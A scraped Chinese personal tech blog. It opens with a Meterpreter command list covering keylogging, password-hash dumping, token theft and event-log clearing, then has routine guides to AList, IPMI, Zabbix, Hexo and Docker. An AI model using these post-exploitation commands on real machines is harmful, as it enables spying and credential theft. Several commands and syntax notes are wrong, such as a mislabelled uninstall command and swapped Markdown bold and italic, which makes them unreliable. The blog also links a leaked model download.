exit – 终止 meterpreter 会话
9
help – 帮助菜单
10
interact – 与通道进行交互
11
irb – 进入 Ruby 脚本模式
12
migrate – 移动到一个指定的 PID 的活动进程
13
quit – 终止 meterpreter 会话
14
read – 从通道读取数据
15
run – 执行以后它选定的 meterpreter 脚本
16
use – 加载 meterpreter 的扩展
17
write – 将数据写入到一个通道
18
cat -读取并输出到标准输出文件的内容
19
cd -更改目录对受害人
20
del -删除文件对受害人
21
download-从受害者系统文件下载
22
edit-用 vim编辑文件
23
getlwd -打印本地目录
24
getwd -打印工作目录
25
lcd -更改本地目录
26
lpwd -打印本地目录
27
ls -列出在当前目录中的文件列表
28
mkdir -在受害者系统上的创建目录
29
pwd -输出工作目录
30
rm -删除文件
31
rmdir -受害者系统上删除目录
32
upload-从攻击者的系统往受害者系统上传文件
33
ipconfig -显示网络接口的关键信息，包括 IP 地址、 等。
34
portfwd -端口转发
35
route -查看或修改受害者路由表
36
clearav -清除了受害者的计算机上的事件日志
37
drop_token -被盗的令牌
38
execute-执行命令
39
getpid -获取当前进程 ID (PID)
40
getprivs -尽可能获取尽可能多的特权
41
getuid -获取作为运行服务器的用户
42
kill -终止指定 PID 的进程
43
ps -列出正在运行的进程
44
reboot-重新启动受害人的计算机
45
reg -与受害人的注册表进行交互
46
rev2self -在受害者机器上调用 RevertToSelf()
47
shell -在受害者计算机上打开一个shell
48
shutdown-关闭了受害者的计算机
49
steal_token -试图窃取指定的 (PID) 进程的令牌
50
sysinfo -获取有关受害者计算机操作系统和名称等的详细信息
51
enumdesktops -列出所有可访问台式机
52
getdesktop -获取当前的 meterpreter 桌面
53
idletime -检查长时间以来，受害者系统空闲进程
54
keyscan_dump -键盘记录软件的内容转储
55
keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件
56
keyscan_stop -停止键盘记录软件
57
screenshot-抓去 meterpreter 桌面的屏幕截图
58
set_desktop -更改 meterpreter 桌面
59
uictl -启用用户界面组件的一些控件
60
getsystem -获得系统管理员权限
61
hashdump -抓去哈希密码 (SAM) 文件中的值
62
timestomp -操作修改，访问，并创建一个文件的属性

展开收起

AList网盘搭建

Sun, 29 Jan 2023 16:15:37 GMT

前言#

嫌弃nextcloud不够方便，换AList，AList也是我目前部署的网盘中最容易部署的网盘了。 AList是一个支持多种存储，支持网页浏览和 WebDAV 的文件列表程序，由 gin 和 Solidjs 驱动。简单的来说就是能够帮助你管理各种网盘应用，类似于CloudDrive，AList除了支持网盘存储之外，还支持对象存储，本地存储，FTP等等。

参考#

https://alist.nn.ci/zh/guide/

安装#

1
https://alist.nn.ci/zh/guide/

更新#

1
curl -fsSL "https://alist.nn.ci/v3.sh" | bash -s update

卸载#

1
curl -fsSL "https://alist.nn.ci/v3.sh" | bash -s update

自定义路径#

默认安装在 /opt/alist 中。自定义安装路径，将安装路径作为第二个参数添加，必须是绝对路径（如果路径以 alist 结尾，则直接安装到给定路径，否则会安装在给定路径 alist 目录下），如安装到 /root：

1
# 安装
2
curl -fsSL "https://alist.nn.ci/v3.sh" | bash -s install /root
3
# 更新
4
curl -fsSL "https://alist.nn.ci/v3.sh" | bash -s update /root
5
# 卸载
6
curl -fsSL "https://alist.nn.ci/v3.sh" | bash -s uninstall /root

启动程序#

1
systemctl start alist

停止程序#

1
systemctl stop alist

查看状态#

1
systemctl status alist

重启程序#

1
systemctl restart alist

IPMI+IPMICFG管理工具

Sun, 30 Oct 2022 17:25:24 GMT

前言#

公司最近接手了一台超微主板X11SPL-F的服务器,客户说太吵了,要改风扇转速,但是又忘记了进去后台的账号密码,只能把密码重置或者新建一个账号才能进后台调试,所以记录下部分操作过程。 ##准备事项主板为X11SPL服务器一台 IPMICFG工具如果非本地操作,另外一台机器一定要和服务器同网段,否则无法连上后台

安装IPMICFG#

下载IPMICFG解压,里面有对应的操作系统,自行选择。

linux使用#

打开终端输入以下代码

1
#进入对应文件夹
2
cd /home/limita/IPMICFG_1.30.0_build.190710/linux/Linux/64bit/
3
#查看用户
4
./IPMICFG-Linux.x86_64 -user list
5
#添加用户 ID 3 账号dingfei 密码 dingfei 用户权限 4(管理员-Adinistrator)
6
./IPMICFG-Linux.x86_64 -user add 3 dingfei dingfei 4
7
#修改用户密码 ID 3 密码 ADMIN
8
./IPMICFG-Linux.x86_64 -user setpwd 3 ADMIN
9
#设置用户级别 ID 3 用户权限 2(普通用户)
10
./IPMICFG-Linux.x86_64 -user level 3 2
11
#删除用户 删除用户ID 3
12
./IPMICFG-Linux.x86_64 -user del 3

DOS使用#

1
#查看当前目录下的文件
2
dir
3
#进入对应文件夹
4
cd /IPMICFG_1.30.0_build.190710/
5
#查看用户
6
./IPMICFG.exe -user list
7
#添加用户 ID 3 账号dingfei 密码 dingfei 用户权限 4(管理员-Adinistrator)
8
./IPMICFG.exe -user add 3 dingfei dingfei 4
9
#修改用户密码 ID 3 密码 ADMIN
10
./IPMICFG.exe -user setpwd 3 ADMIN
11
#设置用户级别 ID 3 用户权限 2(普通用户)
12
./IPMICFG.exe -user level 3 2
13
#删除用户 删除用户ID 3
14
./IPMICFG.exe -user del 3

打开浏览器输入IPMI的IP进入web界面输入你自己设置好的账号密码。

结语#

后台界面和一般的web控制面板差不多,还挺好用的。

stable-diffusion-webui+novelai本地部署

Thu, 20 Oct 2022 16:22:37 GMT

参考#

novelai本地泄露版达到网络版效果的教程，附整合下载，结尾16系黑屏处理方法 - 哔哩哔哩 (bilibili.com) 关于在安装novelai程序上的一些问题（第一弹） - 哔哩哔哩 (bilibili.com)

前言#

最近AI绘画很火，我自己也部署了一个玩玩。

准备事项#

有8G以上显存的电脑安装python 安装N卡驱动安装steam++ 下载stable-diffusion-webui 下载模型 magnet:?xt=urn:btih<5bde442da86265b670a3e5ea3163afad2c6f8ecc>

安装#

把东西准备好后解压下载好的stable-diffusion-webui-master，直接点击webui-user然后等安装完就行了，过程比较久
把下载好的模型放进对应的文件夹（F:\stable-diffusion-webui-master\models\Stable-diffusion）后打开浏览器输入http://127.0.0.1:7860/就可以进行AI绘画了
python，stean++，N卡驱动，这三个软件就不说怎么安装了，全程点下一步就行了。

注意事项一#

python安装过程

必须点击Add Python to PATH 前面的复选框，否则请自行配置环境变量

注意事项二#

stable-diffusion-webui安装过程

这里是网络问题，记得把steam++开起来

Dos配置IP地址开启DHCP

Wed, 27 Apr 2022 17:23:37 GMT

前言#

最近在研究AD域控所以顺便学点Dos命令

打开CMD终端#

Win+R,输入CMD

查看本地网卡相关信息#

1
ipconfig

进入netsh设置#

1
netsh

进入netsh interface设置#

1
interface

进入ipv4#

1
ipv4

设置网卡ip、子网掩码、网关#

1
set address "你自己的网卡名字" static 192.168.1.23 255.255.255.0 192.168.1.1

开启dhcp#

1
set address "你自己的网卡名字" source=dhcp

使计算机将自己目前租用的IP地址交还给DHCP服务器（只在动态配置IP地址的机器上起作用）#

1
ipconfig/release

向DHCP服务器申请新的IP地址，与上条命令一起使用（只在动态配置IP地址的机器上起作用）#

1
ipconfig/renew

显示DNS客户解析器缓存的内容，包括从本地主机文件预装载的记录以及由域名解析服务器解析的所有资源记录#

1
ipconfig/displaydns

清理并重设DNS客户解析器缓存的内容#

1
ipconfig/flushdns

初始化网络适配器上配置的DNS和IP地址，可用于解决客户和DNS服务器之间的动态更新问题，而不必重新启动计算机#

1
ipconfig/registerdns

zabbix监控面板部署

Thu, 17 Mar 2022 23:46:37 GMT

参考#

官网下载页面

前言#

看见很多运维佬用起了zabbix，好奇起来我也装个看看，看起来还不错的样子。

准备事项#

一台电脑 linux

MySQL安装#

1
#更新软件列表
2
sudo apt update
3
#安装MySQL
4
sudo apt install -y mysql-server
5
#确保是否成功安装
6
sudo mysql --version
7
#启动MySQL
8
sudo systemctl start mysql
9
#查看MySQL状态
10
sudo systemctl status mysql
11
#登录MySQL默认安装的时候如果没有提示设置密码那就直接登录
12
sudo mysql -uroot -p
13
#设置MySQL密码（MySQL 8.0）
14
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '新密码';
15
#设置MySQL密码（MySQL 5.7）
16
set password=password('新密码');

展开收起

Zabbix安装#

这里以ubuntu24.04和zabbix6.0LTS为例

1
#切换root账号
2
sudo -i
3
#下载Zabbix
4
wget https://repo.zabbix.com/zabbix/6.0/ubuntu/pool/main/z/zabbix-release/zabbix-release_latest_6.0+ubuntu24.04_all.deb
5
#安装zabbix-release_latest_6.0+ubuntu24.04_all.deb
6
dpkg -i zabbix-release_latest_6.0+ubuntu24.04_all.deb
7
#安装Zabbix server，Web前端，agent监视
8
apt install zabbix-server-mysql zabbix-frontend-php zabbix-apache-conf zabbix-sql-scripts zabbix-agent
9
#初始化数据库
10
mysql -uroot -p （MySQL密码）
11
mysql> create database zabbix character set utf8mb4 collate utf8mb4_bin;
12
mysql> create user zabbix@localhost identified by 'password';
13
mysql> grant all privileges on zabbix.* to zabbix@localhost;
14
mysql> set global log_bin_trust_function_creators = 1;
15
mysql> quit;
16
#导入初始架构和数据，系统将提示您输入新创建的密码。
17
zcat /usr/share/zabbix-sql-scripts/mysql/server.sql.gz | mysql --default-character-set=utf8mb4 -uzabbix -p zabbix
18
#导入数据库模式后关闭log_bin_trust_function_creators选项。
19
mysql -uroot -p （MySQL密码）
20
mysql> set global log_bin_trust_function_creators = 0;
21
mysql> quit;
22
#为Zabbix server配置数据库
23
#编辑配置文件
24
sudo nano /etc/zabbix/zabbix_server.conf
25
#修改以下的内容
26
DBPassword=（zabbux server的密码）
27
#启动Zabbix server和agent进程，并为它们设置开机自启
28
systemctl restart zabbix-server zabbix-agent apache2
29
systemctl enable zabbix-server zabbix-agent apache2

展开收起

开始使用Zabbix#

打开自己的浏览器输入本地ip进行访问

结语#

安装不难，界面还挺好看的，如果电脑非常多例如几百台用这个还是挺不错的选择，就是我目前没对应环境，导致很多功能我不能体验…

linux之flv转mp4

Thu, 10 Mar 2022 01:21:07 GMT

前言#

为了让我的录播机能在线播放，所以找了个脚本，这个脚本是群里面一位大佬发出来的，非常感谢这位大佬的脚本。

准备#

提前安装好ffmpeg

使用#

1
sudo ./脚本 "文件夹路径/*.flv"

脚本#

1
#!/bin/bash
2

3
# 用法：
4
# ./convert.sh "/path/to/*.flv"
5
#
6
# 可选通过环境变量传入 FFMPEG 路径：
7
# FFMPEG="/path/to/ffmpeg" ./convert.sh "/path/to/*.flv"
8

9
# 颜色
10
RED='\033[0;31m'
11
YELLOW='\033[1;33m'
12
GREEN='\033[0;32m'
13
NC='\033[0m'
14

15
# 检查传入的参数
16
# 如果传入参数小于 1 个
17
if [ $# -lt 1 ]; then
18
    echo -e "${RED}Missing argument!${NC}"
19
    echo "Usage example:"
20
    echo "  ./convert.sh \"/path/to/*.flv\""
21
    exit
22
elif [ $# -gt 1 ]; then
23
    echo -e "${RED}Too much argument!${NC}"
24
    echo -e "${YELLOW}Note${NC}: Did you forget quotes?"
25
    echo "Usage example:"
26
    echo "  ./convert.sh \"/path/to/*.flv\""
27
    exit
28
fi
29

30
# 匹配的文件名
31
SOURCE_PATTERN="$1"
32

33
# 检查 FFMPEG 名字或路径
34
if [ -z "${FFMPEG}" ]; then
35
    # 如果没有传入则设置默认为 ffmpeg
36
    FFMPEG=ffmpeg
37
else
38
    echo -e "${YELLOW}[NOTE] Using custom ffmpeg path: \"${FFMPEG}\"${NC}"
39
    echo ""
40
fi
41

42
# 在匹配到的每个文件里循环，文件名为 source
43
for source in $SOURCE_PATTERN; do
44
    # 设置 target 为 source 去掉后缀名再加上 ".mp4"
45
    target="${source%.*}.mp4"
46
    # 如果 source 是一个存在的文件
47
    if [ -f "$source" ]; then
48
        # 如果 target 存在
49
        if [ -e "$target" ]; then
50
            # 输出文件已存在提示
51
            echo -e "${YELLOW}[SKIP]${NC} MP4 exist: $target"
52
        else
53
            # 否则输出运行的提示
54
            echo -e "${GREEN}[RUN ]${NC} convert \"$source\" to \"$target\""
55
            # 运行 FFMPEG
56
            $FFMPEG -hide_banner -nostats -loglevel warning -i "$source" -c copy "$target"
57
        fi
58
    fi
59
done

展开收起

如果出现“解释器错误：没有那个文件或目录”尝试运行以下命令

1
sed -i.bak 's/\r$//g' zhuanma.sh

我的第一个QQ机器人AstrBot

Sun, 21 Nov 2021 15:34:37 GMT

前言#

因为目前我所在的录播组的需要，所以弄来试试看，而且我以前就想弄了，这次顺便完成以前的想法。

参考#

官网：https://github.com/mamoe/mirai

用户手册：https://github.com/mamoe/mirai/blob/dev/docs/UserManual.md

论坛：https://mirai.mamoe.net/

安装#

前往 https://github.com/iTXTech/mcl-installer/releases 选择对应操作系统和架构下载可执行文件

安装过程全部默认，直接回车并且确定自己网络稳定，否则在装mcl的时候会下载不到压缩包

完成后直接运行mcl.cmd就成功运行机器人了

插件#

装完的机器人是没有实际功能的，可以去论坛https://mirai.mamoe.net/里面找平且根据说明进行安装和使用

如果你有能力也可以自己进行开发插件官方有提供开发文档docs，docs.mirai.mamoe.net

Kikoeru使用体验

Sat, 11 Sep 2021 20:46:37 GMT

前言#

前一段看见Kikoeru这个程序，自己搭来试试能不能换了我的音声站。

什么是Kikoeru#

一个同人音声专用的音乐流媒体服务器程序

下载#

去这里下载自己对应系统版本程序点击下载

安装#

简而言之，以下任选其一：

Windows用户下载kikoeru-win-x64-v0.6.2.zip，直接解压即可使用。无需安装node等 Mac OS用户下载kikoeru-darwin-x64-v0.6.2.zip，解压执行其中的kikoeru-express，并赋予其执行权限（可在命令行下chmod +x kikoeru-express），执行（./kikoeru-express）。遇到权限提示请选择允许请使用Docker Hub上的muveex/kikoeru.6.2，不再提供打包镜像。注：muveex/kikoeru-express与muveex/kikoeru内容相同也可使用docker-compose。可自行编辑文件调整挂载位置，安装完后浏览器输入本机ip<8888进行访问>

使用体验#

pc端还不错，手机端就有点不太行了，经常显示错误，还想着换掉我现在的音声站，还是算了。

Docker基本概念

Wed, 08 Sep 2021 15:19:37 GMT

前言#

这只是我对Docker的理解，更准确请参考官方说明。

什么是Docker？#

Docker是容器技术的代表，容器技术从本质上讲是将程序隔离、打包的技术。Docker解决了软件包装的问题，理顺了开发和运维的环境的差异，使得开发和运维能用同种语言来沟通。类比：可以粗糙地理解为轻量级的虚拟机。它和虚拟机某种程度上完成同样的任务：就是把一个应用程序放在一个独立的环境里来运行。 Docker不是虚拟机！

Docker基本概念#

镜像（Image）
- 类似系统镜像，软件镜像，等等，这些镜像可以直接在下载或者上传。
容器（Container）
- 类似VM虚拟机那样，单一个虚拟机对应一个环境，不过这里就变成一个镜像对应一个容器，和其他容器互不干扰。
仓库（Repository）
- 就是一个储存中心，比如你有两台服务器分别为A和B那么A有一个名为S的镜像并且保存在存储中心里面，那么B想用这个名为S的镜像，那么直接去存储中心直接下载到本机就能使用了。

水星记

Sun, 29 Aug 2021 15:47:03 GMT

前言#

最近在网上听到水星记的日语版，顺便查了下这歌所表达的意思，实在太有感触了。

关于水星记#

《水星记》(Mercury Records)是由郭顶作词、作曲并演唱的歌曲，作为第二波抒情主打曲收录于郭顶2016年11月25日发行的专辑《飞行器的执行周期》中。歌曲表达的是一种类似水星与太阳之间，永远围绕，咫尺距离，却永远无法靠近，但也甘愿如此陪伴的那种感情。

感触#

以前小学，初中，高中，大学，身边会有很多朋友，到如今大家都已经出来工作了，各有各自的事情，联系方面也已经没有了，像极了歌曲所表达情感一样，我就像水星，曾经的朋友就像太阳，我们永远围绕，咫尺距离，却永远无法靠近，可能这就是所谓的成长吧。

Actions自动部署Hexo博客

Thu, 26 Aug 2021 19:46:37 GMT

参考#

利用 Github Actions 自动部署 Hexo 博客 GitHub Action + Hexo 实现在线写作

前言#

为了搭建HexoPlusPlus所以先部署了Actions.

准备仓库#

Source_code //放源代码文件scaffolds、source、themes、_config.yml、package.json、package-lock.json（删除.git） limitationai.github.io //放静态文件（也就是发布页）

生成密钥,公钥#

1
#生成公钥,密钥
2
ssh-keygen -f github-deploy-key

Windows生成后会在C:\Users\你的用户名.ssh文件夹里面有两个文件分别是公钥github_rsa.pub和密钥github_rsa。

配置密钥#

复制 github-deploy-key 文件内容，在放源码的Source_code仓库 Settings -> Secrets -> Add a new secret 页面上添加。

配置公钥#

复制 github-deploy-key.pub 文件内容，在 limitationai.github.io 仓库 Settings -> Deploy keys -> Add deploy key 页面上添加。

添加Actions#

将以下的代码复制粘贴，并且根据自身情况修改

1
name: 自動部署 Hexo
2

3
on:
4
  push:
5
    branches:
6
      - main
7

8
jobs:
9
  build:
10
    runs-on: ubuntu-latest
11
    strategy:
12
      matrix:
13
        node-version: [12.x]
14

15
    steps:
16
      - name: 开始运行
17
        uses: actions/checkout@v1
18

19
      - name: 设置 Node.js ${{ matrix.node-version }}
20
        uses: actions/setup-node@v1
21
        with:
22
          node-version: ${{ matrix.node-version }}
23

24
      - name: 配置 Git 环境
25
        env:
26
          ACTION_DEPLOY_KEY: ${{secrets.HEXO_DEPLOY_PRIVATE_KEY}}
27
        run: |
28
          mkdir -p ~/.ssh/
29
          echo "$ACTION_DEPLOY_KEY" > ~/.ssh/id_rsa
30
          chmod 600 ~/.ssh/id_rsa
31
          ssh-keyscan github.com >> ~/.ssh/known_hosts
32
          git config --global user.name "limitationai"
33
          git config --global user.email "limitationai@gmail.com"
34
      - name: 安装 Hexo CI
35
        run: |
36
          export TZ='Asia/Shanghai'
37
          npm i -g hexo-cli
38
          npm i
39
      - name: 安装插件
40
        run: |
41
          npm install hexo-renderer-pug --save
42
          npm install hexo-renderer-stylus --save
43
          npm install hexo-deployer-git --save
44
          npm install hexo-generator-search --save
45
          npm install hexo-douban --save
46
          npm install hexo-generator-feed --save
47
          npm install hexo-abbrlink --save
48
          npm install hexo-wordcount --save
49
      - name: 部署博客
50
        run: |
51
          rm -rf .deploy_git
52
          hexo g && hexo douban && hexo deploy
53
          rm ~/.ssh/id_rsa

展开收起

结语#

最后去github个人仓库界面看见有橙色的小圆点就代表部署成功了

Markdown写作语法

Sun, 22 Aug 2021 17:22:22 GMT

https://markdown.com.cn/

标题#

Terminal window

1
# 一级标题
2
## 二级标题
3
### 三级标题
4
#### 四级标题
5
##### 五级标题
6
###### 六级标题

列表#

Terminal window

1
#无序列表
2
- 列表1
3
     -列表1.1
4
     -列表1.2
5
- 列表2
6
- 列表3
7

8
#有序列表
9
1. 列表1
10
      1. 列表1.1
11
      2. 列表1.2
12
2. 列表2
13
3. 列表3

引用#

Terminal window

1
> 有三件事人类都要经历：出生、生活和死亡

粗体#

Terminal window

1
*这是粗体*

斜体#

Terminal window

1
**这是斜体**

插入图片#

Terminal window

1
![描述](图片链接)

插入链接#

Terminal window

1
[描述](链接)

分割线#

Terminal window

1
#内容1
2
***
3
#内容2

表格#

1
|表头   |表头   |表头QT|
2
|-------|-------|------|
3
|单元格 |单元格 |单元格|
4
|单元格 |单元格 |单元格|

搭建个人网盘+24小时B站录播姬

Fri, 20 Aug 2021 17:01:21 GMT

准备事项#

一台Linux服务器
Docker版B站录播姬
Snap
Docker
NextCloud

安装NextCloud和Snap#

Terminal window

1
#进入root用户
2
sudo -i
3

4
#更新软件库
5
apt update
6

7
#安装snap
8
apt install snapd
9

10
#安装nextcloud
11
snap install nextcloud

这里用的是很简单的安装方法，但是个人不建议用这个方法，最后用ip进行访问。

安装Docker#

Terminal window

1
shell api install docker.io

安装Docker版b站录播姬并且部署#

Terminal window展开收起

1
#切换root账户
2
sudo -i
3

4
#拉取Docker版b站录播姬
5
docker pull ghcr.io/bililive/bililiverecorder:latest
6

7
#第一次运行后存放位置会多出一个配置文件名为config.json
8
docker run -d --name recorder -v /存放位置/rec:/rec ghcr.io/bililive/bililiverecorder:latest run /rec
9

10
#编辑配置文件
11
cd ~/存放位置
12
nano config.json
13

14
#修改好配置文件后重启一次容器
15
docker restart recorder

展开收起

具体配置请参考官方说明https://github.com/Bililive/BililiveRecorder/blob/e33fa33b04331e00c4c020966d4af403bd5caf26/BililiveRecorder.Core/Config/V2/build_config.data.js

Docker版b站录播姬使用#

Terminal window

1
# 标准（使用配置文件）模式运行
2
docker run -d --name recorder -v /存放位置/rec:/rec ghcr.io/bililive/bililiverecorder:latest run /rec
3

4
# 无配置文件模式运行
5
docker run -d --name recorder -v /存放位置/rec:/rec ghcr.io/bililive/bililiverecorder:latest portable /rec 1 2 3 4 5
6

7
# 使用工具箱分析录播文件并以 json 格式输出到 stdout
8
docker run -it --rm -v /存放位置/rec:/rec ghcr.io/bililive/bililiverecorder:latest tool analyze "/rec/recording.flv" --json

结语#

这个方法能做私有网盘同时自行录制各个直播间，很适合各位切片妈和up主，这样就不用怕忘记录播了。还有另外一个部署方法参考下面的链接。

参考#

https://www.bilibili.com/read/cv15606087/

Zero

Stalwart 邮件服务器完整部署

前言#

目录#

1. 架构概述#

2. 前置条件#

2.1 服务器#

2.2 域名与 DNS#

2.3 工具#

3. 部署 Stalwart 容器#

3.1 创建目录与 compose 文件#

3.2 启动并获取初始 admin 密码#

3.3 验证服务运行#

4. 首次配置（Web 后台）#

4.1 登录#

4.2 添加域名#

4.3 创建用户#

5. DNS 记录配置#

验证 DNS#

6. TLS 证书签发（Let’s Encrypt DNS-01）#

6.1 为什么用 DNS-01#

6.2 签发证书#

6.3 转换密钥格式#

6.4 上传证书到 Stalwart（JMAP API）#

6.5 设置域名为 Manual 证书模式#

6.6 重启并验证#

7. Spam 过滤器调优#

7.1 问题现象#

7.2 根因分析#

7.3 修复：提高阈值#

7.4 SpamSettings 字段说明#

7.5 将误判邮件从 Junk 移到 Inbox#

8. 邮件客户端配置#

9. 证书续期流程#

自动续期（可选）#

10. 数据备份与恢复#

10.1 备份#

10.2 恢复#

11. JMAP API 速查手册#

11.1 获取 Session#

11.2 Domain 管理#

11.3 Certificate 管理#

11.4 SpamSettings 管理#

11.5 邮件操作#

11.6 Python 调用模板#

12. 已知问题与排坑记录#

12.1 Stalwart 内置 ACME 不工作 (v0.16.x)#

12.2 端口 80 外网不可达#

12.3 acme.sh --alpn Flag 有 Bug#

12.4 数据目录挂载陷阱#

12.5 EC 密钥格式不兼容#

12.6 Spam 过滤器误判国内邮件#

12.7 nginx 端口 80 占用冲突#

12.8 JMAP Certificate 对象格式#

12.9 每次 --issue 生成新 TXT 值#

12.10 动态 IP 环境#

13. 诊断脚本索引#

证书签发阶段#

收信诊断阶段#

修复阶段#

脚本通用模板#

附录：docker-compose.yml 完整内容#

附录：nginx ACME 反代配置（可选，用于 HTTP-01 验证）#

附录：环境清单#

多元无知：为什么大家只记住了 3W8

什么是多元无知#

为什么是 3W8，而不是“空中飞人”#

一点反思#

给博客写个本地管理 CLI

一、背景：静态博客的”改个东西好麻烦”#

二、这个工具能做什么#

三、特性#

四、安装#

五、快速开始#

六、命令一览#

七、友链是怎么被管理的（技术细节）#

八、部署 Firefly 踩过的坑（也是你会遇到的）#

1. Docker 权限#

2. 字体 CDN 超时（构建失败）#

3. 图片路径大小写#

12.3 acme.sh `--alpn` Flag 有 Bug#

12.9 每次 `--issue` 生成新 TXT 值#

4. `docker-compose` v1 vs v2#

5. `.bak` 备份被当源码编译（最阴险）#

biliup → AstrBot(QQ) 录播完成通知修复

根因 A：biliup 的 `run` 后处理根本不执行#

根因 B：`umo` 会话格式写错，即使触发也会被 AstrBot 拒绝#

创建fuwari模板在本地初始始化项目 (如果使用了Mizuki则不需要执行这段代码)#